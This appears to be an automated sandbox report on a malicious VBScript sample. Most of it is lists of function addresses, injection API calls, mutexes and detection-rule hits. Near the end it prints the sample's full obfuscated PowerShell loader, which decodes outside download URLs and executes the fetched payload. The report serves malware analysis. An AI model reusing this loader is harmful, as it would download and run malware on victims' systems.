Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741E25D4 NtQuerySystemInformation,NtQuerySystemInformation,	34_2_00007DF4741E25D4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF47420199C calloc,NtQueryInformationProcess,NtReadVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,	34_2_00007DF47420199C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF474201E64 CreateProcessW,NtResumeThread,CloseHandle,	34_2_00007DF474201E64
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58413970 NtQuerySystemInformation,	35_2_0000026E58413970

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3423B8E2	5_2_00007FFD3423B8E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3423A726	5_2_00007FFD3423A726
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3423B0F2	5_2_00007FFD3423B0F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34236CFA	5_2_00007FFD34236CFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD342365F3	5_2_00007FFD342365F3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34233DF2	5_2_00007FFD34233DF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3423262D	5_2_00007FFD3423262D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34234231	5_2_00007FFD34234231
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD342352D3	5_2_00007FFD342352D3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34239F25	5_2_00007FFD34239F25
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34233B6F	5_2_00007FFD34233B6F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD342363F3	5_2_00007FFD342363F3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34236443	5_2_00007FFD34236443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34238C44	5_2_00007FFD34238C44
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3423841D	5_2_00007FFD3423841D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34305B7A	5_2_00007FFD34305B7A
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E2C52	23_3_00000155E73E2C52
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E4A50	23_3_00000155E73E4A50
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E1BBC	23_3_00000155E73E1BBC
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E27B2	23_3_00000155E73E27B2
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E5E94	23_3_00000155E73E5E94
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E5594	23_3_00000155E73E5594
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E5914	23_3_00000155E73E5914
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000155E73E250D	23_3_00000155E73E250D
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F908CC	23_3_00007DF416F908CC
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F7286C	23_3_00007DF416F7286C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FF071C	23_3_00007DF416FF071C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705D75C	23_3_00007DF41705D75C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF417057578	23_3_00007DF417057578
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41706A598	23_3_00007DF41706A598
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705E5F4	23_3_00007DF41705E5F4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FC5640	23_3_00007DF416FC5640
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41701A3C8	23_3_00007DF41701A3C8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FE13BC	23_3_00007DF416FE13BC
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF4170523D8	23_3_00007DF4170523D8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FAD42C	23_3_00007DF416FAD42C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FDD2A0	23_3_00007DF416FDD2A0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FC52F4	23_3_00007DF416FC52F4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF4170632F8	23_3_00007DF4170632F8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705A19C	23_3_00007DF41705A19C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F821F0	23_3_00007DF416F821F0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FED248	23_3_00007DF416FED248
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705E0B0	23_3_00007DF41705E0B0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F910BC	23_3_00007DF416F910BC
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FCFF78	23_3_00007DF416FCFF78
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F75F9C	23_3_00007DF416F75F9C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F71058	23_3_00007DF416F71058
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F90EF4	23_3_00007DF416F90EF4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41706DF6C	23_3_00007DF41706DF6C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FDCE48	23_3_00007DF416FDCE48
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FCCC84	23_3_00007DF416FCCC84
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705DC94	23_3_00007DF41705DC94
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FC3CE8	23_3_00007DF416FC3CE8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FCECF8	23_3_00007DF416FCECF8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FDCD38	23_3_00007DF416FDCD38
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41704DBC8	23_3_00007DF41704DBC8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FC6BE4	23_3_00007DF416FC6BE4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9CBE8	23_3_00007DF416F9CBE8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705BC68	23_3_00007DF41705BC68
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41706AAB4	23_3_00007DF41706AAB4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F87AE0	23_3_00007DF416F87AE0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FD0AD4	23_3_00007DF416FD0AD4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705EB0C	23_3_00007DF41705EB0C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FB8B28	23_3_00007DF416FB8B28
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FDCB5C	23_3_00007DF416FDCB5C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F7F9C0	23_3_00007DF416F7F9C0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF4170119B4	23_3_00007DF4170119B4
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FC395C	23_3_00007DF416FC395C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F8E970	23_3_00007DF416F8E970
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF41705E774	23_3_00007DF41705E774
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416FE5824	23_3_00007DF416FE5824
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_00000155E72D0C70	23_2_00000155E72D0C70
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00000281871B1F40	34_3_00000281871B1F40
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00000281871B027B	34_3_00000281871B027B
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00000281871B2718	34_3_00000281871B2718
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00000281871B170E	34_3_00000281871B170E
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00000281871B3660	34_3_00000281871B3660
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00007DF47420392C	34_3_00007DF47420392C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00007DF474204EFC	34_3_00007DF474204EFC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00007DF474202204	34_3_00007DF474202204
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D63218	34_2_0000028186D63218
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D5262C	34_2_0000028186D5262C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D5C2D0	34_2_0000028186D5C2D0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8F158	34_2_0000028186D8F158
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D860EC	34_2_0000028186D860EC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D90114	34_2_0000028186D90114
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D850A4	34_2_0000028186D850A4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D77868	34_2_0000028186D77868
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D70898	34_2_0000028186D70898
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D67234	34_2_0000028186D67234
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D94221	34_2_0000028186D94221
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D85224	34_2_0000028186D85224
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D90A44	34_2_0000028186D90A44
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8420C	34_2_0000028186D8420C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8F9A4	34_2_0000028186D8F9A4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6D730	34_2_0000028186D6D730
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D84744	34_2_0000028186D84744
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D74678	34_2_0000028186D74678
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6CE70	34_2_0000028186D6CE70
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8669C	34_2_0000028186D8669C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D78E88	34_2_0000028186D78E88
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D7E028	34_2_0000028186D7E028
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D91048	34_2_0000028186D91048
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8AFF0	34_2_0000028186D8AFF0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D65FCC	34_2_0000028186D65FCC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6FD3C	34_2_0000028186D6FD3C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D774EC	34_2_0000028186D774EC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8F4B8	34_2_0000028186D8F4B8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D514D0	34_2_0000028186D514D0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D77E58	34_2_0000028186D77E58
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D855BC	34_2_0000028186D855BC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D89DA8	34_2_0000028186D89DA8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6C5D8	34_2_0000028186D6C5D8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D67580	34_2_0000028186D67580
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D91564	34_2_0000028186D91564
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D85D84	34_2_0000028186D85D84
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6EABC	34_2_0000028186D6EABC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D80C4C	34_2_0000028186D80C4C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6E404	34_2_0000028186D6E404
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D96C08	34_2_0000028186D96C08
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D8D3C8	34_2_0000028186D8D3C8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C27AC	34_2_00007DF4741C27AC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741BF048	34_2_00007DF4741BF048
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C9C74	34_2_00007DF4741C9C74
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741BF8E0	34_2_00007DF4741BF8E0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C152C	34_2_00007DF4741C152C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C01A0	34_2_00007DF4741C01A0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C0E74	34_2_00007DF4741C0E74
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741C3308	34_2_00007DF4741C3308
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741E8FDC	34_2_00007DF4741E8FDC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741E9C18	34_2_00007DF4741E9C18
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741E7200	34_2_00007DF4741E7200
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741E8480	34_2_00007DF4741E8480
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4742022CC	34_2_00007DF4742022CC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5841BD40	35_2_0000026E5841BD40
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842E5FC	35_2_0000026E5842E5FC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58429E10	35_2_0000026E58429E10
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5843C620	35_2_0000026E5843C620
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842A5D8	35_2_0000026E5842A5D8
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5841C6AC	35_2_0000026E5841C6AC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842AEF0	35_2_0000026E5842AEF0
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58441F28	35_2_0000026E58441F28
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58418ECC	35_2_0000026E58418ECC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E584326D4	35_2_0000026E584326D4
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5841D6DC	35_2_0000026E5841D6DC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58434780	35_2_0000026E58434780
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5843C788	35_2_0000026E5843C788
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58428F98	35_2_0000026E58428F98
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842287C	35_2_0000026E5842287C
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842B035	35_2_0000026E5842B035
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842F84C	35_2_0000026E5842F84C
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E584298F8	35_2_0000026E584298F8
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5841C0BC	35_2_0000026E5841C0BC
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E5842A940	35_2_0000026E5842A940
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58429A78	35_2_0000026E58429A78
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58428A60	35_2_0000026E58428A60
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58434264	35_2_0000026E58434264
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58432374	35_2_0000026E58432374
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58433330	35_2_0000026E58433330
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E584293B4	35_2_0000026E584293B4
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58432BC0	35_2_0000026E58432BC0
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58417454	35_2_0000026E58417454
Source: C:\Windows\System32\dllhost.exe	Code function: 35_2_0000026E58433C60	35_2_0000026E58433C60

Source: g8ix97hz.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4452
Source: unknown	Process created: Commandline size = 4452
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4452	Jump to behavior

Source: amsi32_7756.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 524, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7756, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@43/120@12/11

Source: C:\Windows\System32\svchost.exe

Code function: 23_3_00007DF416F7286C CreateToolhelp32Snapshot,Thread32First,CloseHandle,SuspendThread,

23_3_00007DF416F7286C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Even.Lar

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:504:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-7ec072bc-c1d3-175365-1034abd211c2}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4f23m5ou.xke.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\g8ix97hz.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=524
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7756

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\g8ix97hz.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR 